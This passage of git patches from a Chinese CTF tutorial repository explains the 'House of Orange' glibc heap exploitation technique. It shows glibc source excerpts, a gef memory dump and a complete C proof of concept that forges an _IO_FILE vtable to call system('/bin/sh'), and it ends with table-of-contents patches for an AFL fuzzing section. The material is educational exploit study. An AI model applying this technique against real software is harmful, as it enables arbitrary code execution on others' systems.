== 1) + { + ++stage; + fflush (NULL); + } +``` +```c +// libio/genops.c +int +_IO_flush_all_lockp (int do_lock) +{ + int result = 0; + struct _IO_FILE *fp; + int last_stamp; + +#ifdef _IO_MTSAFE_IO + __libc_cleanup_region_start (do_lock, flush_cleanup, NULL); + if (do_lock) + _IO_lock_lock (list_all_lock); +#endif + + last_stamp = _IO_list_all_stamp; + fp = (_IO_FILE *) _IO_list_all; // 将其覆盖 + while (fp != NULL) + { + run_fp = fp; + if (do_lock) + _IO_flockfile (fp); + + if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) +#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T + || (_IO_vtable_offset (fp) == 0 + && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr + > fp->_wide_data->_IO_write_base)) +#endif + ) + && _IO_OVERFLOW (fp, EOF) == EOF) // 将其修改为 system 函数 + result = EOF; + + if (do_lock) + _IO_funlockfile (fp); + run_fp = NULL; + + if (last_stamp != _IO_list_all_stamp) + { + /* Something was added to the list. Start all over again. */ + fp = (_IO_FILE *) _IO_list_all; + last_stamp = _IO_list_all_stamp; + } + else + fp = fp->_chain; // 指向我们指定的区域 + } + +#ifdef _IO_MTSAFE_IO + if (do_lock) + _IO_lock_unlock (list_all_lock); + __libc_cleanup_region_end (0); +#endif + + return result; +} +``` +`_IO_list_all` 是一个 `_IO_FILE_plus` 类型的对象,我们的目的就是将 `_IO_list_all` 指针改写为一个伪造的指针,它的 `_IO_OVERFLOW` 指向 system,并且前 8 字节被设置为 '/bin/sh',所以对 `_IO_OVERFLOW(fp, EOF)` 的调用会变成对 `system('/bin/sh')` 的调用。 +```c +// libio/libioP.h +/* We always allocate an extra word following an _IO_FILE. + This contains a pointer to the function jump table used. + This is for compatibility with C++ streambuf; the word can + be used to smash to a pointer to a virtual function table. */ + +struct _IO_FILE_plus +{ + _IO_FILE file; + const struct _IO_jump_t *vtable; +}; + +// libio/libio.h +struct _IO_FILE { + int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ +#define _IO_file_flags _flags + + /* The following pointers correspond to the C++ streambuf protocol. */ + /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ + char* _IO_read_ptr; /* Current read pointer */ + char* _IO_read_end; /* End of get area. */ + char* _IO_read_base; /* Start of putback+get area. */ + char* _IO_write_base; /* Start of put area. */ + char* _IO_write_ptr; /* Current put pointer. */ + char* _IO_write_end; /* End of put area. */ + char* _IO_buf_base; /* Start of reserve area. */ + char* _IO_buf_end; /* End of reserve area. */ + /* The following fields are used to support backing up and undo. */ + char *_IO_save_base; /* Pointer to start of non-current get area. */ + char *_IO_backup_base; /* Pointer to first valid character of backup area */ + char *_IO_save_end; /* Pointer to end of non-current get area. */ + + struct _IO_marker *_markers; + + struct _IO_FILE *_chain; + + int _fileno; +#if 0 + int _blksize; +#else + int _flags2; +#endif + _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ + +#define __HAVE_COLUMN /* temporary */ + /* 1+column number of pbase(); 0 is unknown. */ + unsigned short _cur_column; + signed char _vtable_offset; + char _shortbuf[1]; + + /* char* _save_gptr; char* _save_egptr; */ + + _IO_lock_t *_lock; +#ifdef _IO_USE_OLD_IO_FILE +}; +``` +其中有一个指向函数跳转表的指针,`_IO_jump_t` 的结构如下: +```c +// libio/libioP.h +struct _IO_jump_t +{ + JUMP_FIELD(size_t, __dummy); + JUMP_FIELD(size_t, __dummy2); + JUMP_FIELD(_IO_finish_t, __finish); + JUMP_FIELD(_IO_overflow_t, __overflow); + JUMP_FIELD(_IO_underflow_t, __underflow); + JUMP_FIELD(_IO_underflow_t, __uflow); + JUMP_FIELD(_IO_pbackfail_t, __pbackfail); + /* showmany */ + JUMP_FIELD(_IO_xsputn_t, __xsputn); + JUMP_FIELD(_IO_xsgetn_t, __xsgetn); + JUMP_FIELD(_IO_seekoff_t, __seekoff); + JUMP_FIELD(_IO_seekpos_t, __seekpos); + JUMP_FIELD(_IO_setbuf_t, __setbuf); + JUMP_FIELD(_IO_sync_t, __sync); + JUMP_FIELD(_IO_doallocate_t, __doallocate); + JUMP_FIELD(_IO_read_t, __read); + JUMP_FIELD(_IO_write_t, __write); + JUMP_FIELD(_IO_seek_t, __seek); + JUMP_FIELD(_IO_close_t, __close); + JUMP_FIELD(_IO_stat_t, __stat); + JUMP_FIELD(_IO_showmanyc_t, __showmanyc); + JUMP_FIELD(_IO_imbue_t, __imbue); +#if 0 + get_column; + set_column; +#endif +}; +``` +伪造 `_IO_jump_t` 中的 `__overflow` 为 system 函数的地址,从而达到执行 shell 的目的。另外, + +当发生内存错误进入 `_IO_flush_all_lockp` 后,`_IO_list_all` 仍然指向 unsorted bin,这并不是一个我们能控制的地址。所以需要通过 `fp->_chain` 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61,因为此时 `_IO_list_all` 是 `&unsorted_bin-0x10`,偏移 0x60 位置处是 smallbins[4](或者说 bins[6])。此时,如果触发一个不适合的 small chunk 分配,malloc 就会将 old top 从 unsorted bin 放回 smallbins[4] 中。而在 `_IO_FILE` 结构中,偏移 0x60 指向 `struct _IO_marker *_markers`,偏移 0x68 指向 `struct _IO_FILE *_chain`,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top,这是一个我们能够控制的地址。 + +在将 `_IO_OVERFLOW` 修改为 system 的时候,有一些条件检查: +```c + if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) +#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T + || (_IO_vtable_offset (fp) == 0 + && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr + > fp->_wide_data->_IO_write_base)) +#endif + ) + && _IO_OVERFLOW (fp, EOF) == EOF) // 需要修改为 system 函数 +``` +```c +// libio/libio.h + + struct _IO_wide_data *_wide_data; + +/* Extra data for wide character streams. */ +struct _IO_wide_data +{ + wchar_t *_IO_read_ptr; /* Current read pointer */ + wchar_t *_IO_read_end; /* End of get area. */ + wchar_t *_IO_read_base; /* Start of putback+get area. */ + wchar_t *_IO_write_base; /* Start of put area. */ + wchar_t *_IO_write_ptr; /* Current put pointer. */ + wchar_t *_IO_write_end; /* End of put area. */ + wchar_t *_IO_buf_base; /* Start of reserve area. */ + wchar_t *_IO_buf_end; /* End of reserve area. */ + /* The following fields are used to support backing up and undo. */ + wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */ + wchar_t *_IO_backup_base; /* Pointer to first valid character of + backup area */ + wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */ + + __mbstate_t _IO_state; + __mbstate_t _IO_last_state; + struct _IO_codecvt _codecvt; + + wchar_t _shortbuf[1]; + + const struct _IO_jump_t *_wide_vtable; +}; +``` +所以这里我们设置 `fp->_mode = 0`,`fp->_IO_write_base = (char *) 2` 和 `fp->_IO_write_ptr = (char *) 3`,从而绕过检查。 + +然后,就是修改 `_IO_jump_t`,将其指向 winner: +``` +gef➤ x/30gx p1-0x10+0x400 +0x602400: 0x0068732f6e69622f 0x0000000000000061 <-- old top +0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 <-- bk points to io_list_all-0x10 +0x602420: 0x0000000000000002 0x0000000000000003 <-- _IO_write_base, _IO_write_ptr +0x602430: 0x0000000000000000 0x0000000000000000 +0x602440: 0x0000000000000000 0x0000000000000000 +0x602450: 0x0000000000000000 0x0000000000000000 +0x602460: 0x0000000000000000 0x0000000000000000 +0x602470: 0x0000000000000000 0x00000000004006d3 <-- winner +0x602480: 0x0000000000000000 0x0000000000000000 +0x602490: 0x0000000000000000 0x0000000000000000 +0x6024a0: 0x0000000000000000 0x0000000000000000 +0x6024b0: 0x0000000000000000 0x0000000000000000 +0x6024c0: 0x0000000000000000 0x0000000000000000 +0x6024d0: 0x0000000000000000 0x0000000000602460 <-- vtable +0x6024e0: 0x0000000000000000 0x0000000000000000 +gef➤ p *((struct _IO_FILE_plus *) 0x602400) +$1 = { + file = { + _flags = 0x6e69622f, + _IO_read_ptr = 0x61 , + _IO_read_end = 0x7ffff7dd1b78 "\020@b", + _IO_read_base = 0x7ffff7dd2510 "", + _IO_write_base = 0x2 , + _IO_write_ptr = 0x3 , + _IO_write_end = 0x0, + _IO_buf_base = 0x0, + _IO_buf_end = 0x0, + _IO_save_base = 0x0, + _IO_backup_base = 0x0, + _IO_save_end = 0x0, + _markers = 0x0, + _chain = 0x0, + _fileno = 0x0, + _flags2 = 0x0, + _old_offset = 0x4006d3, + _cur_column = 0x0, + _vtable_offset = 0x0, + _shortbuf = "", + _lock = 0x0, + _offset = 0x0, + _codecvt = 0x0, + _wide_data = 0x0, + _freeres_list = 0x0, + _freeres_buf = 0x0, + __pad5 = 0x0, + _mode = 0x0, + _unused2 = '\000' + }, + vtable = 0x602460 +} +``` + +最后随意分配一个 chunk,由于 `size<= 2*SIZE_SZ`,所以会触发 `_IO_flush_all_lockp` 中的 `_IO_OVERFLOW` 函数,获得 shell。 +```c + for (;; ) + { + int iters = 0; + while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) + { + bck = victim->bk; + if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) + || __builtin_expect (victim->size > av->system_mem, 0)) + malloc_printerr (check_action, "malloc(): memory corruption", + chunk2mem (victim), av); + size = chunksize (victim); +``` + +到此,how2heap 里全部的堆利用方法就全部讲完了。 ## 参考资料 +- [abusing the FILE structure](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/) +- [House of Orange](https://www.lazenca.net/display/TEC/House+of+Orange#HouseofOrange-Sourcecode) +- [house_of_orange](http://blog.leanote.com/post/3191220142@qq.com/house_of_orange) diff --git a/src/Others/3.3.5_heap_exploit/house_of_orange.c b/src/Others/3.3.5_heap_exploit/house_of_orange.c new file mode 100644 index 0000000..a71173a --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/house_of_orange.c @@ -0,0 +1,40 @@ +#include +#include +#include + +int winner (char *ptr); + +int main() { + char *p1, *p2; + size_t io_list_all, *top; + + p1 = malloc(0x400 - 0x10); + + top = (size_t *) ((char *) p1 + 0x400 - 0x10); + top[1] = 0xc01; + + p2 = malloc(0x1000); + io_list_all = top[2] + 0x9a8; + top[3] = io_list_all - 0x10; + + memcpy((char *) top, "/bin/sh\x00", 8); + + top[1] = 0x61; + + _IO_FILE *fp = (_IO_FILE *) top; + fp->_mode = 0; // top+0xc0 + fp->_IO_write_base = (char *) 2; // top+0x20 + fp->_IO_write_ptr = (char *) 3; // top+0x28 + + size_t *jump_table = &top[12]; // controlled memory + jump_table[3] = (size_t) &winner; + *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8 + + malloc(1); + return 0; +} + +int winner(char *ptr) { + system(ptr); + return 0; +} From 6e450c5d405a4a6407a7361d8dc5ea75922222bc Mon Sep 17 00:00:00 2001 From: firmianay Date: Sun, 21 Jan 2018 22:41:35 +0800 Subject: [PATCH 13/13] add 5.1.1 --- README.md | 1 + SUMMARY.md | 1 + doc/5.1.1_afl_fuzzer.md | 1 + doc/5_advanced.md | 1 + 4 files changed, 4 insertions(+) create mode 100644 doc/5.1.1_afl_fuzzer.md diff --git a/README.md b/README.md index 96e4f8a..ec83433 100644 --- a/README.md +++ b/README.md @@ -92,6 +92,7 @@ - [五、高级篇](doc/5_advanced.md) - [5.1 Fuzz 测试](doc/5.1_fuzz.md) + - [5.1.1 AFL fuzzer](doc/5.1.1_afl_fuzzer.md) - [5.2 Pin 动态二进制插桩](doc/5.2_pin.md) - [5.3 angr 二进制自动化分析](doc/5.3_angr.md) - [5.4 符号执行](doc/5.4_symbolic.md) diff --git a/SUMMARY.md b/SUMMARY.md index be0460e..6a81c40 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -81,6 +81,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One * [4.10 给 PE 文件打 patch](doc/4.10_patch_pe.md) * [五、高级篇](doc/5_advanced.md) * [5.1 Fuzz 测试](doc/5.1_fuzz.md) + * [5.1.1 AFL fuzzer](doc/5.1.1_afl_fuzzer.md) * [5.2 Pin 动态二进制插桩](doc/5.2_pin.md) * [5.3 angr 二进制自动化分析](doc/5.3_angr.md) * [5.4 符号执行](doc/5.4_symbolic.md) diff --git a/doc/5.1.1_afl_fuzzer.md b/doc/5.1.1_afl_fuzzer.md new file mode 100644 index 0000000..2d94d4a --- /dev/null +++ b/doc/5.1.1_afl_fuzzer.md @@ -0,0 +1 @@ +# 5.1.1 AFL fuzzer diff --git a/doc/5_advanced.md b/doc/5_advanced.md index 5633b9b..682edd6 100644 --- a/doc/5_advanced.md +++ b/doc/5_advanced.md @@ -1,6 +1,7 @@ # 第五章 高级篇 - [5.1 Fuzz 测试](5.1_fuzz.md) + - [5.1.1 AFL fuzzer](5.1.1_afl_fuzzer.md) - [5.2 Pin 动态二进制插桩](5.2_pin.md) - [5.3 angr 二进制自动化分析](5.3_angr.md) - [5.4 Symbolic Execution 符号执行技术](5.4_symbolic.md)